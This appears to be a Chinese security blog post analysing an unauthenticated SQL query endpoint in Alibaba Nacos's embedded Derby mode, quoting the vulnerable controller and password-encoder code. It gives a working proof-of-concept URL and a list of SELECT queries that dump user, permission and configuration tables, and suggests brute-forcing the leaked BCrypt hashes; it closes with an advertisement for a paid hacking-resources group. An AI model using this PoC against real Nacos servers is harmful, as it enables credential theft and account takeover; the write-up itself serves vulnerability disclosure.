简介
Nacos
一、漏洞详情
源码地址:https://github.com/alibaba/nacos
审计代码可以发现,config server中有个接口,没有做任何的鉴权,即可执行sql语句,可以泄漏全部数据
漏洞点在于module:nacos-config的com.alibaba.nacos.config.server.controller.ConfigOpsController中
@GetMapping(value = "/derby")
public RestResult<Object> derbyOps(@RequestParam(value = "sql") String sql) {
String selectSign = "select";
String limitSign = "ROWS FETCH NEXT";
String limit = " OFFSET 0 ROWS FETCH NEXT 1000 ROWS ONLY";
try {
if (PropertyUtil.isEmbeddedStorage()) {
LocalDataSourceServiceImpl dataSourceService = (LocalDataSourceServiceImpl) DynamicDataSource
.getInstance().getDataSource();
if (StringUtils.startsWithIgnoreCase(sql, selectSign)) {
if (!StringUtils.containsIgnoreCase(sql, limitSign)) {
sql += limit;
}
JdbcTemplate template = dataSourceService.getJdbcTemplate();
List<Map<String, Object>> result = template.queryForList(sql);
return RestResultUtils.success(result);
}
return RestResultUtils.failed("Only query statements are allowed to be executed");
}
return RestResultUtils.failed("The current storage mode is not Derby");
} catch (Exception e) {
return RestResultUtils.failed(e.getMessage());
}
}
可以看到,代码只限制了需要包含select,因此,导致可以执行任意的select查询语句
通过测试,可以用以下的语句查询到所有数据库信息
select * from usersselect * from permissions
select * from roles
select * from tenant_info
select * from tenant_capacity
select * from group_capacity
select * from config_tags_relation
select * from app_configdata_relation_pubs
select * from app_configdata_relation_subs
select * from app_list
select * from config_info_aggr
select * from config_info_tag
select * from config_info_beta
select * from his_config_info
select * from config_info
最重要的是,该接口不需要任何认证,直接就可以访问
通过读取到账号以及hash之后的密码后,因为nacos创建账号时使用的salt生成算法我们通过开源的程序源码已经能分析出来
看源码com.alibaba.nacos.console.security.nacos.NacosAuthConfig
@Override
protected void configure(AuthenticationManagerBuilder auth) throws Exception {
auth.userDetailsService(userDetailsService).passwordEncoder(passwordEncoder());
}@Override
protected void configure(HttpSecurity http) throws Exception {
if (StringUtils.isBlank(authConfigs.getNacosAuthSystemType())) {
http
.csrf().disable().cors() // We don't need CSRF for JWT based authentication
.and().sessionManagement().sessionCreationPolicy(SessionCreationPolicy.STATELESS)
.and().authorizeRequests().requestMatchers(CorsUtils::isPreFlightRequest).permitAll()
.antMatchers(LOGIN_ENTRY_POINT).permitAll()
.and().authorizeRequests().antMatchers(TOKEN_BASED_AUTH_ENTRY_POINT).authenticated()
.and().exceptionHandling().authenticationEntryPoint(new JwtAuthenticationEntryPoint());
// disable cache
http.headers().cacheControl();
http.addFilterBefore(new JwtAuthenticationTokenFilter(tokenProvider),
UsernamePasswordAuthenticationFilter.class);
}
}
@Bean
public PasswordEncoder passwordEncoder() {
return new BCryptPasswordEncoder();
}
可以看到,都是默认的,使用者没法做修改
因此,参考工具类com.alibaba.nacos.console.utils.PasswordEncoderUtil
通过这样的方式,可以在本地快速的爆破出hash值表示的密码
package com.alibaba.nacos.console.utils;import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder;
/**
* Password encoder tool.
*
* @author nacos
*/
public class PasswordEncoderUtil {
public static void main(String[] args) {
System.out.println(new BCryptPasswordEncoder().encode("nacos"));
}
public static Boolean matches(String raw, String encoded) {
return new BCryptPasswordEncoder().matches(raw, encoded);
}
public static String encode(String raw) {
return new BCryptPasswordEncoder().encode(raw);
}
}
二、漏洞复现
poc:
/nacos/v1/cs/ops/derby?sql=select%20*%20from%20users%20'
nacos url后拼接即可
知识星球
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
加入安全交流群
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读